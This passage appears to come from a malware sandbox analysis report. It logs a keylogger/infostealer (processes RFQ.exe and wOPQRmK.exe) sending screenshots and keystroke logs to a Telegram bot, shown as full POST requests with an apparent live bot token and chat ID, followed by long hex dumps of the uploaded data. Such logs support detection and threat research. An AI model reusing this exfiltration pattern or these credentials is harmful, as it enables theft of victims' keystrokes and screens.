2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:33:59 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:08 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49699	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:00 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 7a 64 6c 45 53 56 6a 79 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotzdlESVjy.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:00 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:00 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:08 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49701	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:10 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 2548 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:10 UTC	2548	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4b 49 78 77 63 78 4a 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataKIxwcxJd.txt"Content-Type: application/octet-stream[10:33:47]<<Program Manager>>[10:33:47]<<Program Manager>>[10:33:47]<<Program Mana
2025-03-11 14:34:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:11 GMT Content-Type: application/json Content-Length: 555 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:11 UTC	555	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 35 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28152,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703651,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49702	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:10 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 2449 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:10 UTC	2449	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 66 6c 76 44 46 65 59 4c 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 34 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataflvDFeYL.txt"Content-Type: application/octet-stream[10:33:47]<<Program Manager>>[10:33:47]<<Program Manager>>[10:33:47]<<Program Mana
2025-03-11 14:34:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:11 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:11 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 35 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28153,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703651,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49704	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
